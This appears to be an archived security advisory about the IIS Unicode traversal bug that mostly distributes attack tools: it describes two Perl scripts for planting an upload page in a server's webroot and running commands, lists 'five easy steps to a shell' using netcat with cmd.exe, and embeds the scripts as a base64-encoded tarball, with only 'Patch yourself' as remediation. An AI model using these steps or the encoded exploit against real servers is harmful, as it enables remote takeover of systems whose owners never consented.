COMMAND

    IIS

SYSTEMS AFFECTED

    IIS

PROBLEM

    Roelof Temmingh found following (assumes an IIS server  vulnerable
    for the Unicode bug).  Tarball contains two PERL scripts:

    1. Unicode upload creator (unicodeloader.pl)
       Works like this - two  files (upload.asp and upload.inc -  have
       them in  the same  dir as  the PERL  script) are  build in  the
       webroot  (or  anywhere  else)  using  echo  and some conversion
       strings.  These files allows  you to upload any file  by simply
       surfing with a browser to the server.

       Typical use (5 easy steps to a shell):

        1. Find the webroot (duh)
        2. perl unicodeloader target:80 'webroot'
        3. surf to target/upload.asp and upload nc.exe
        4. perl unicodexecute3.pl target:80 'webroot/nc -l -p 80 -e cmd.exe'
        5. telnet target 80

       Above procedure will drop  you into a shell  on the box.   This
       procedure is nice for servers that are very tightly firewalled;
       servers  that  are  not  allowed  to  FTP,  RCP  or TFTP to the
       Internet.

    2. Unicodexecute version3 (unicodexecute3.pl)
       Same as before plus:
       - includes searches for alternative executable dirs
       - more robust, stable than before
       - checks for access denied etc. added

    Mimed code:

    ---
    Content-Type: application/octet-stream; name="unitools.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="unitools.tgz"
    Content-MD5: Metg2emASYFsPAkHyxdsAw==
    
    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
    
    -----

SOLUTION

    Patch yourself.